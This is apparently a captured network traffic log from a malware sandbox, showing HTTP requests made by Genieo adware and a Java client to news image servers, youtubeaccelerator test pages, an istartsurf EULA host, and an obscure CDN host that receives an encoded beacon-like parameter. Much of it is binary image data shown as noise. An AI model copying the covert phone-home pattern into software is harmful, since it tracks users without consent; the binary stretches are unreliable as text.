....f]...f]....c. '2...e...............#...g..s..f]............w......
.|[email protected]...... N<...F1...8..@3............#.....7.K.
'............cwOL.....7t..3.. '3.p..3....c. .....7@3..@N;.~.....#0<<< skipped >>>

GET /cnn/.e/img/4.0/logos/heroes_bw.png HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache

Last-Modified: Wed, 29 Apr 2015 18:58:34 GMT

Accept-Ranges: bytes

Content-Length: 7252

Content-Type: image/png

Cache-Control: max-age=314032816

Expires: Sun, 27 Apr 2025 14:25:16 GMT

Date: Fri, 15 May 2015 23:05:00 GMT

Connection: keep-alive
......JFIF.....d.d......Ducky.......<.....phXXp://ns.adobe.com/xap/
1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x
:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.
155772, 2014/01/13-19:44:00        "> <rdf:RDF xmlns:rdf="http:/
/VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:abo
ut="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:
//ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.
com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:D9D2D99325206811822A83
957BED6718" xmpMM:DocumentID="xmp.did:DE9D1658DC9D11E481AC98C4DFA0B854
" xmpMM:InstanceID="xmp.iid:0DBC0A2CDC8D11E481AC98C4DFA0B854" xmp:Crea
torTool="Adobe Photoshop CC (Macintosh)"> <xmpMM:DerivedFrom stR
ef:instanceID="xmp.iid:9C522DA087B311E4B3A5AC85EAD04BC1" stRef:documen
tID="xmp.did:9C522DA187B311E4B3A5AC85EAD04BC1"/> </rdf:Descripti
on> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..
..Adobe.d.............................................................
......................................................................
..............d.,.....................................................
............................!1..A...Qa"q.2...Br#..Rb.....3C.........c.
..$Ddt..%..............................?...]...y..H.P)q.C.h...CNF..X.[
:[email protected].|d..\..9D.A.........h..M>^..V...D.V&.x.!;.I.04.j...fk..
...h3h.*8.;...}....L(....|(.....#.4..7.M..A.....PgI`../@V.%..h2..4.k@8
.A'.....=...>&.....C#...A [email protected].:.1.,[email protected]<<< skipped >>>

GET /cnn/.e/img/4.0/logos/impact_your_world_bw.png HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache

Last-Modified: Tue, 30 Dec 2014 09:48:15 GMT

Accept-Ranges: bytes

Content-Length: 2110

Content-Type: image/png

Cache-Control: max-age=306679207

Expires: Sat, 01 Feb 2025 11:45:07 GMT

Date: Fri, 15 May 2015 23:05:00 GMT

Connection: keep-alive
.PNG........IHDR...,...d......jR.....IDATx...Q.. ..0..bl.......E..|.%K
.,Y.h...,Y.d...,Y.d........rd..%KV.Y...v.....a..../.V....il.A&.Y1..%.H
.4.B)TCY,.P..A....V.9{&^..n..Lp}f.{=.z...:.f..sn..b..s......./X......t
5v.l..<.....H...wM.:.qXR$m...^.k.._....c..D.t=.-%S..5.6k.CRc..uw...
....i.U.N.GM....3...l5i..T....z.0!i...Iql.K...w.....F.l...rM....[...l{
n..L.....K....c...X..2..lA.mG......\,..JR-.a)...R.X..Q...sI.@.........
k..26...J.........#.....a....g.G.d.0X....0.....Y.Gv.yL.g.....v.e.2..r.
 w/Up{.z.Lu....w....i..O.....4.q....Xs.?.iWj..V....c.u.E.....W..5.h.Sw
..2.^....=.y..aA22...Ji.......%..<.A.cM....9.U:.n.....;,r.MLW...J.o
..e.2..%...Y.vL.s..f..e.q3g.V..........b.).(.l9.5..S.{..L.>Xz....X.
@A.....XW0.H2..V..L.x...b..Jc.<.Y.6.]......X...........H.....j2n.Xf
.O..u.c...^.n......vM.... ...P'0...3....c.6^.z.Z.^I....e..........`.. 
`D.'.".b..X..G.w/.-{......6pG.`..........c.......,...mn..2.....^1X...d
........Y....-jlW .....}.|..W......S.b..~..5......D..f.X7..6..5.`..z=X
vwWcp.......X.7vT1X O..e.[.X.."a.T.... .&H(..Z.....Y..........5....z..
7....Y.6L!w...^6K...*..... .0..-C.......:......0.. ..=.5.)......K."...
........c.g;...v...h.[. .~ .c.|......x.$..b.....b............,3:7TUIX]
@>...y.....;...S.O`.....\..2.,.b......2 \..7..*.I..._...T.C........
..L...1`...u..>.|[email protected])b....,[email protected].
w....;AI..;.. ..^......J......8...A\...4......V..&.....|5,...t...4hf.^
k.,..s...U....]...3..H........c.X?.$..x....,t.G...:...,..7..Z......{..
./......f..%[email protected].....<<< skipped >>>

GET /cnn/.e/img/4.0/logos/freedom_project_bw.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache

Last-Modified: Tue, 31 Mar 2015 11:06:04 GMT

Accept-Ranges: bytes

Content-Length: 15079

Content-Type: image/jpeg

Cache-Control: max-age=311429299

Expires: Fri, 28 Mar 2025 11:13:19 GMT

Date: Fri, 15 May 2015 23:05:00 GMT

Connection: keep-alive
......JFIF.....d.d......Ducky.......K......Adobe.d....................
......................................................................
.......................................................d.,............
......................................................................
....!1.A"..Qa2.q.#...BR.$.br34..C%5...Sc..............................
...?..[X-).t..p..GN.f.BG.....T.W...j.......??.......<.G.[*.._...iH.
C.8FH..)D.d....."I.....|...........r..Q.........'W.6...^.`H.....RR.j.B
.(RMA...p.$....l.<M8..&.......8.......O..(&.<...xu..i.\...\.*)T.
[email protected]|..|8.......xS.Ao.....N|[email protected]....
.)......'__..)wmj*<...g......&.......'?...J..x....=Bu...p..nm`..b&l
t;..[..BU..p./7....Lm$....J..b n..Iw.....V.............1.......f.Qt...
..:.7n.aq.8......E..Rc... B..8.......w.8K..)..o.b\-.CZZ........$.).?..
._b..o.;.]$.=.&..-.\.....y....`.k...y.J....7>>-....q..S:K0...Z./
....... .AB....7.v.......YR.../..%.q]d%.6..R..(.=..PM|:...m>.7....v
..dI.....JZS5...@.<x..~.72.!....C....x2Q.Wo..p...|.y....*.&b. .p.R.
....ie...Pi.ME|O..k.....x.85......T.....!c..H .....j........9..q......
0_K.j...5Jy..8.-..[..vt..yr.v..DCiKM...........C.um.d%(.n...B.J\oJ]Uj.
|E(k.4L..bh..E..rE@e ....u'.Zt..2~.x.,[email protected].:.........juv.....
?Q ..'.! x..k..%..i;v;d.KT.4!"...UW....x....l.u.RU.........m@i44......
2....t...C.-.......l!F..#Y#...&..............{ID.&6...U...I ....>..
...kY..oRn..=%.1.8..i).G.[oV..9.8...........$.5,!>.:..<......?..
....136$v...C.qt:|..^|...^.r$f1.m.D.f..?..."R.-.a\......oz.fn...m.<<< skipped >>>

GET /youtube_accelerator/wizardtest/SMALLTEST.HTM?random=541775&mode=nolsp HTTP/1.1

Accept-Encoding: gzip,deflate

Host: test.youtubeaccelerator.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Content-Type: text/html

Content-Encoding: gzip

Last-Modified: Mon, 21 Jul 2008 09:41:32 GMT

Accept-Ranges: bytes

ETag: "bfefaff515ebc81:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:04:49 GMT

Content-Length: 167
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?".......~....O......7.O.........
....'_>.}. ..>..o.?...MF...HTTP/1.1 200 OK..Content-Type: text/h
tml..Content-Encoding: gzip..Last-Modified: Mon, 21 Jul 2008 09:41:32 
GMT..Accept-Ranges: bytes..ETag: "bfefaff515ebc81:0"..Vary: Accept-Enc
oding..Server: Microsoft-IIS/7.5..X-Powered-By: ASP.NET..Date: Fri, 15
 May 2015 23:04:49 GMT..Content-Length: 167...............`.I.%&/m.{.J
.J..t...`[email protected]#).*..eVe]f.@......{....{....;.N'...?\fd.l..J
...!....?~|.?".......~....O......7.O.............'_>.}. ..>..o.?
...MF.......


GET /robots.txt HTTP/1.1

Accept-Encoding: gzip,deflate

Host: test.youtubeaccelerator.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 404 Not Found

Content-Type: text/html

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:04:51 GMT

Content-Length: 1245
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "hXXp://ww
w.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">..<html xmlns="hXXp://
VVV.w3.org/1999/xhtml">..<head>..<meta http-equiv="Content
-Type" content="text/html; charset=iso-8859-1"/>..<title>404 
- File or directory not found.</title>..<style type="text/css
">..<!--..body{margin:0;font-size:.7em;font-family:Verdana, Aria
l, Helvetica, sans-serif;background:#EEEEEE;}..fieldset{padding:0 15px
 10px 15px;} ..h1{font-size:2.4em;margin:0;color:#FFF;}..h2{font-size:
1.7em;margin:0;color:#CC0000;} ..h3{font-size:1.2em;margin:10px 0 0 0;
color:#000000;} ..#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 
2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;..backgr
ound-color:#555555;}..#content{margin:0 0 0 2%;position:relative;}...c
ontent-container{background:#FFF;width:96%;margin-top:8px;padding:10px
;position:relative;}..-->..</style>..</head>..<body&
gt;..<div id="header"><h1>Server Error</h1></div&
gt;..<div id="content">.. <div class="content-container">&
lt;fieldset>..  <h2>404 - File or directory not found.</h2
>..  <h3>The resource you are looking for might have been rem
oved, had its name changed, or is temporarily unavailable.</h3>.
. </fieldset></div>..</div>..</body>..</htm
l>......
<<< skipped >>>

GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: test.youtubeaccelerator.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Encoding: gzip

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

Set-Cookie: ASP.NET_SessionId=0h2c12odih32h3nunyjj0pb2; path=/; HttpOnly

X-AspNet-Version: 4.0.30319

Set-Cookie: pixGUID=8ef254da-a03b-4699-a190-c68d4eb1fafc; path=/

Set-Cookie: YTAUserID=371a9b48ed724522836ea01edc2c44ec; path=/

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:04:51 GMT

Content-Length: 1843
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"~..7N...O.<y...<M...L_~..
..I.......wr...7O....o.x...w.7u.l....Yy........m.zt........../..yu..`.
.e.u.......GG.9.L.-.e.Y.........?.....q[.eN....S...'yz<..e^gmU.....
i..b.Wi..y.(....E..$.6Y...5}F.........e..?..i.L.b.<?J......g.}7k...
Z..2..MzU..j.:.i......5.Xe.&o>J......WU=..-.k.B..en.#.s....R.......
~.$..1..6........Z....(....%t.7.X.z0..jqW......../Z...}t"xo..^..(..]{.
.u.N.Y...g..|..p....i....{.f.i......~$H...<o?J[.. ..@........}.....
.E...........B......?.]f..GG...o=8.UuQ....u[L.....03./.jv...U..Y..4...
..}...jhP..L..G...}&M......b."f....l..............~s..T..>...55.{u.
...W...o.................~VO?.A...'.<.....}..._<.}......./z..s..
.O~...u.....]..~.. R=...w....eYe....i...e.Y.1..!........j.........Z..k
...2o..............nG..O_..:~....].o.@'.;Ov......]I......AWu....5&....
...I .......B8.C..o.)j{W........j.Z^...$Jq.F.lQ..}...p......)al~vp...H
.j.....7<..G.2I..eYW..H8................$.........hO.y....I.$Z..*)o
f.."..O.....O.g....H)5.....H..../w..m.h....=..O.....>".?-..[......W
.f.......f......>........J_....9...w..9z<..o......^.....(....8~.
...\.{.).9....M.Zb...Sb.4........I-.....Y.6....."..i..~.I.-.~t.....y.U
.cDd.f..Wuq.M.#...o...!z..cC......}...9.3 .;....^......i..'..........V
=.?.d....p...EaQ...evm.........9..m.Y....C.w.W.u[.wvo..!..I_.....9)..y
eU..X{.t......e..........ng..w.........yv>e........"..........sJY.:
At.........uz.O..q.z...t..X.i.f...k..Q1}4...iYP....u4s*n.EP.5))..E<<< skipped >>>

HEAD / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: test.youtubeaccelerator.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: ASP.NET_SessionId=0h2c12odih32h3nunyjj0pb2; YTAUserID=371a9b48ed724522836ea01edc2c44ec; pixGUID=8ef254da-a03b-4699-a190-c68d4eb1fafc

Cookie2: $Version=1


HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 1843

Content-Type: text/html; charset=utf-8

Content-Encoding: gzip

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

Set-Cookie: pixGUID=3ad051da-775e-4556-9071-cffcedb8f22a; path=/

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:04:55 GMT

....

GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: test.youtubeaccelerator.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: ASP.NET_SessionId=0h2c12odih32h3nunyjj0pb2; YTAUserID=371a9b48ed724522836ea01edc2c44ec; pixGUID=3ad051da-775e-4556-9071-cffcedb8f22a

Cookie2: $Version=1


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Encoding: gzip

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

Set-Cookie: pixGUID=1e6259ae-b6d9-4da9-8582-8b9cb5b7dba7; path=/

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:04:55 GMT

Content-Length: 1844
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"~..7N...O.<y...<M...L_~..
..I.......wr...7O....o.x...w.7u.l....Yy........m.zt........../..yu..`.
.e.u.......GG.9.L.-.e.Y.........?.....q[.eN....S...'yz<..e^gmU.....
i..b.Wi..y.(....E..$.6Y...5}F.........e..?..i.L.b.<?J......g.}7k...
Z..2..MzU..j.:.i......5.Xe.&o>J......WU=..-.k.B..en.#.s....R.......
~.$..1..6........Z....(....%t.7.X.z0..jqW......../Z...}t"xo..^..(..]{.
.u.N.Y...g..|..p....i....{.f.i......~$H...<o?J[.. ..@........}.....
.E...........B......?.]f..GG...o=8.UuQ....u[L.....03./.jv...U..Y..4...
..}...jhP..L..G...}&M......b."f....l..............~s..T..>...55.{u.
...W...o.................~VO?.A...'.<.....}..._<.}......./z..s..
.O~...u.....]..~.. R=...w....eYe....i...e.Y.1..!........j.........Z..k
...2o..............nG..O_..:~....].o.@'.;Ov......]I......AWu....5&....
...I .......B8.C..o.)j{W........j.Z^...$Jq.F.lQ..}...p......)al~vp...H
.j.....7<..G.2I..eYW..H8................$.........hO.y....I.$Z..*)o
f.."..O.....O.g....H)5.....H..../w..m.h....=..O.....>".?-..[......W
.f.......f......>........J_....9...w..9z<..o......^.....(....8~.
...\.{.).9....M.Zb...Sb.4........I-.....Y.6....."..i..~.I.-.~t.....y.U
.cDd.f..Wuq.M.#...o...!z..cC......}...9.3 .;....^......i..'..........V
=.?.d....p...EaQ...evm.........9..m.Y....C.w.W.u[.wvo..!..I_.....9)..y
eU..X{.....w.a.oO>.=...e......m.L.N'.'.f....e.....&..D.4...W(..S...
...on..lU.<...|......<......N.7.e.X#.......4N..zF_....Sqs-..<<< skipped >>>

GET /favicon.ico HTTP/1.1

Accept-Encoding: gzip,deflate

Host: test.youtubeaccelerator.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: ASP.NET_SessionId=0h2c12odih32h3nunyjj0pb2; YTAUserID=371a9b48ed724522836ea01edc2c44ec; pixGUID=1e6259ae-b6d9-4da9-8582-8b9cb5b7dba7

Cookie2: $Version=1


HTTP/1.1 404 Not Found

Content-Type: text/html

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:04:55 GMT

Content-Length: 1245
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "hXXp://ww
w.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">..<html xmlns="hXXp://
VVV.w3.org/1999/xhtml">..<head>..<meta http-equiv="Content
-Type" content="text/html; charset=iso-8859-1"/>..<title>404 
- File or directory not found.</title>..<style type="text/css
">..<!--..body{margin:0;font-size:.7em;font-family:Verdana, Aria
l, Helvetica, sans-serif;background:#EEEEEE;}..fieldset{padding:0 15px
 10px 15px;} ..h1{font-size:2.4em;margin:0;color:#FFF;}..h2{font-size:
1.7em;margin:0;color:#CC0000;} ..h3{font-size:1.2em;margin:10px 0 0 0;
color:#000000;} ..#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 
2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;..backgr
ound-color:#555555;}..#content{margin:0 0 0 2%;position:relative;}...c
ontent-container{background:#FFF;width:96%;margin-top:8px;padding:10px
;position:relative;}..-->..</style>..</head>..<body&
gt;..<div id="header"><h1>Server Error</h1></div&
gt;..<div id="content">.. <div class="content-container">&
lt;fieldset>..  <h2>404 - File or directory not found.</h2
>..  <h3>The resource you are looking for might have been rem
oved, had its name changed, or is temporarily unavailable.</h3>.
. </fieldset></div>..</div>..</body>..</htm
l>..HTTP/1.1 404 Not Found..Content-Type: text/html..Server: Micros
oft-IIS/7.5..X-Powered-By: ASP.NET..Date: Fri, 15 May 2015 23:04:5<<< skipped >>>

GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.cnbc.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 302 Moved Temporarily

Content-Length: 0

Server: aicache6x

Connection: close

Location: hXXp://VVV.cnbc.com/id/100746255?region=world

GET /sponsored/istartsurf/eula-istartsurf.html HTTP/1.1

Accept-Encoding: gzip,deflate

Host: d3mdjn4wfmheda.cloudfront.net

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Fri, 15 May 2015 22:44:59 GMT

Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT

Expires: Fri, 15 May 2015 22:54:59 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Age: 198

Vary: Accept-Encoding

X-Cache: Hit from cloudfront

Via: 1.1 868e7340556a0aa2e4d1bad048f6f8e1.cloudfront.net (CloudFront)

X-Amz-Cf-Id: zSUxxZAQrwh7mJLQgDkuU2nb4UWMFADxd4j2bwiPOkqljCCmNrN8Sg==
881.............Z.s...... ..4.Z....m......g..........#y.>X|.b:.....
...R.f&q........]<...o......Y.En.~....s39...}|>..q.....W_]....sU
.....J.........m7....v;.~<.......-.:....'.h.,k........"/..{.9...Ou.
..l.?........;......oo.>....M\......G/.....S...f.....V..k..]...\._.
..eW......d.1....{z.v....vy....r\...4.zvVvy~..}6........im..z.Y....k..
.Y.6.M.t...........O..O?.....a...M.V....nk.q.W.....w.....7..7.....~...
.>.....V....u.4.).RK....[...B....z....h....;H.....^Ze..o^.W..*].b..
....~.5?>.?z..,.lw..\;....n...r..5A....*..lK.......|weW_..M......'.
z.......i.l......>....f.k_.p.E....v.$.4...x...y.^9I.zr.4..e.`...Q..
.f7.Wf.k.gS..~.:.....n.....W>..;J..&:...P......<.k..x........k[C
#g..].......(c...)~x......................^...y"...}.N.....)....<_V
e{......ts;<[....g..`.4..K..#.]?.#.rE.%.{fR...Ilu....'..S..c.l....'
..=.{od...H....=>...}fN.r..G...H.............Ac.../.|........Cc.S..
..Z..\..h.....;.&iL.v..Sf........>..v ...6H.%.....j.\.....t.....7%&
lt;[email protected]>.a/Bi|..1[[email protected]....]..)..|......X^.....<.G\.B..*3I6
8..R.f....-.w...........u....E.2...w&u....q...... [email protected]..._...B.r
gZ_....U......>.j.m2....w.C...Z...M...w.^g. .....HO1....g.r... ..6.
P.o...... i.......z.B...9../[email protected]_....2....7.%.
 .B....^.[.?N.....w.74........ 6.E_.j["kB..k..x.2'.L.N..Z6..ZN.E\!.7}z
....T...MyJp.aoY.1....x.\...iP.t.....3*.)...4.p...4.l.li.kD.W.......J.
..n.=......f"..O@s|n.....m<B.J".Y.<....C.....!;#7.p..2..&.A.{.K.
....s.mp1.g.K.{P.. M....@....]]../.H.z.!X".b.....hL.W.e....vM...)K<<< skipped >>>

GET /robots.txt HTTP/1.1

Accept-Encoding: gzip,deflate

Host: d3mdjn4wfmheda.cloudfront.net

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 404 Not Found

Content-Type: text/html

Content-Length: 162

Connection: keep-alive

Server: nginx

Date: Fri, 15 May 2015 23:04:51 GMT

Age: 1

X-Cache: Error from cloudfront

Via: 1.1 868e7340556a0aa2e4d1bad048f6f8e1.cloudfront.net (CloudFront)

X-Amz-Cf-Id: pzz1Xi4wTptRwv-LYGrwlNcDh1q3Y54ZgTuNf-WqjA8edYzVUUL2hg==
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx</
center>..</body>..</html>......


GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: d3mdjn4wfmheda.cloudfront.net

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 403 Forbidden

Content-Type: text/html

Content-Length: 162

Connection: keep-alive

Server: nginx

Date: Fri, 15 May 2015 23:04:52 GMT

X-Cache: Error from cloudfront

Via: 1.1 868e7340556a0aa2e4d1bad048f6f8e1.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Eiqf3mZbVCQ9-XYlGoSxAYrCM2s785kOip_ZYUHdINB6BVc_PcyHBQ==
<html>..<head><title>403 Forbidden</title><
/head>..<body bgcolor="white">..<center><h1>403 F
orbidden</h1></center>..<hr><center>nginx</
center>..</body>..</html>......


GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: d3mdjn4wfmheda.cloudfront.net

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 403 Forbidden

Content-Type: text/html

Content-Length: 162

Connection: keep-alive

Server: nginx

Date: Fri, 15 May 2015 23:04:52 GMT

X-Cache: Error from cloudfront

Via: 1.1 868e7340556a0aa2e4d1bad048f6f8e1.cloudfront.net (CloudFront)

X-Amz-Cf-Id: ez89_vQUEX18X3apYwq9HsCcvO_SWfkke4fgribZ9oaCTYn3NKccUw==
<html>..<head><title>403 Forbidden</title><
/head>..<body bgcolor="white">..<center><h1>403 F
orbidden</h1></center>..<hr><center>nginx</
center>..</body>..</html>......


GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: d3mdjn4wfmheda.cloudfront.net

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 403 Forbidden

Content-Type: text/html

Content-Length: 162

Connection: keep-alive

Server: nginx

Date: Fri, 15 May 2015 23:04:52 GMT

X-Cache: Error from cloudfront

Via: 1.1 868e7340556a0aa2e4d1bad048f6f8e1.cloudfront.net (CloudFront)

X-Amz-Cf-Id: HfOyi0UfUJwuRzd55ZqSdZueUQCHGB9rJDW_luGQeGWd0PUiEbajAw==
<html>..<head><title>403 Forbidden</title><
/head>..<body bgcolor="white">..<center><h1>403 F
orbidden</h1></center>..<hr><center>nginx</
center>..</body>..</html>..HTTP/1.1 403 Forbidden..Cont
ent-Type: text/html..Content-Length: 162..Connection: keep-alive..Serv
er: nginx..Date: Fri, 15 May 2015 23:04:52 GMT..X-Cache: Error from cl
oudfront..Via: 1.1 868e7340556a0aa2e4d1bad048f6f8e1.cloudfront.net (Cl
oudFront)..X-Amz-Cf-Id: HfOyi0UfUJwuRzd55ZqSdZueUQCHGB9rJDW_luGQeGWd0P
UiEbajAw==..<html>..<head><title>403 Forbidden</t
itle></head>..<body bgcolor="white">..<center><
;h1>403 Forbidden</h1></center>..<hr><center&g
t;nginx</center>..</body>..</html>....

GET /32062.ashx?e=N6dOqWm8Q95rOakOyNRzsD0Z7sea5zO kgUNbeseC9P8ln8Iap23//2TEkHeJNDUga zuhV9q9EmwjbtKxeaO7jE5q6KYAnnn14WGxPVpt5CrKRl6uWYlY4G r 3F6T7iJiWa2JIZk6M8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23N8xrbOAlOf HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:45 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Fri, 15 May 2015 23:02:45 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /cnnnext/dam/assets/150515181900-castroneves-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 17970

Cache-Control: max-age=3371

Expires: Sat, 16 May 2015 00:01:12 GMT

Date: Fri, 15 May 2015 23:05:01 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.D..........................!1A..Q.."aq#2B....R......$3br...C.L.....
...............................8........................!1A.."Qa..2q..
#...3BRr..4b................?........*(.@V .....H..Q.R@Q...*I..Q..C.ED
.Tp.d....Q..E...@Q....." "...(.E...E4q.I.....8.wPI5<.UL..a|.8k@. .~
..Fm....E..A......_x-..m4.^....H7E...1..]..2..5.=.....u4.f.Y..i8<..
1..........P.".....~.}m;d.<.FX. ...\[-...*...M~=?.4a.h....i.i......
.fDE...rT... ....6..F..=..........6.@p..]....X..G9U...u..........<.
....)f....<.C.g...nH8.....mn.|.O.8...(.a......j..DCUB.....n...k..G.
B....vC.%u,tb.i..._...IB....FH..56.L.d8$p=J....E]G!s....</;.m?Mn..t
r..`=>.n.=..ME*......o.I..._ts.. 4c 1_..p...cou.w..G.V...2.f....@..
..$>C.W.v.I.......';.G.VD...y(.4..,.f{[email protected]..(..\NF..%d.|
vS..ZF....W9...Uv........R..';...,..?{AQ*..:[email protected].. .%..G.
.....=.3.....?P\....p..]f...t.....((e.eW.K3........!..k...M.ry....J/..
\.i.o.........CJ.k.4UT..2..6..<M.F.`.1...h.G..s...[.t....k...jz[.55
.....i..........!}O...H.*#..l.h......7....U....gMA......{lT..g>\y..
.......oA....2...q...Dr....0P..T.@.(.....DQV.:...p..Sa....d..2..@DD..#
.aD) "(...QBH([email protected]@.v.g..?.V.../.8O......r..........$. .#.{...?.)
l.:J.Fld...~.j_j.`.....n}".T....@.. H.^.$.....=..8h....jkq..t.W....[M.
=.!....R..q...[.....w=....p..Z.F..0..D7;#.I...sr....[.T&RN?, ....%<<< skipped >>>

GET /cnnnext/dam/assets/141222160809-google-driverless-car-prototype-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 35736

Cache-Control: max-age=2447

Expires: Fri, 15 May 2015 23:45:48 GMT

Date: Fri, 15 May 2015 23:05:01 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.X........................!..1.."AQa.q..2...#BR...$r...3Cb..4.....6cdt
.......%&DEFSTs...................................4...................
...!..1.A."Q.2aq..#.....B...3.$............?.....;^....6.......!.8....
.-{..-........0......h3[.}GI...3... .6.=h>.C....,...NQ.?:.t....}.M&
lt;.?-W.. [email protected].......#....".M..4.F.I..SX..aB..
23..a.W.....p.....bT.g.....B^...G..l...xC.v.....=.ks^k..~..i/).Yyy.=|.
..m,..xf/ !e=.9..C\=.z..2.....d..J..)....K...i.i......|...tn...K>..
.|.m.......Z5......l.....?.Z....Q....1.8......&..YQ.i.bG..wG99...5(>
;*..]x.X.kd.G3/..Y.j[..3....vM;.h......M...] .}........8.........Q.3&.
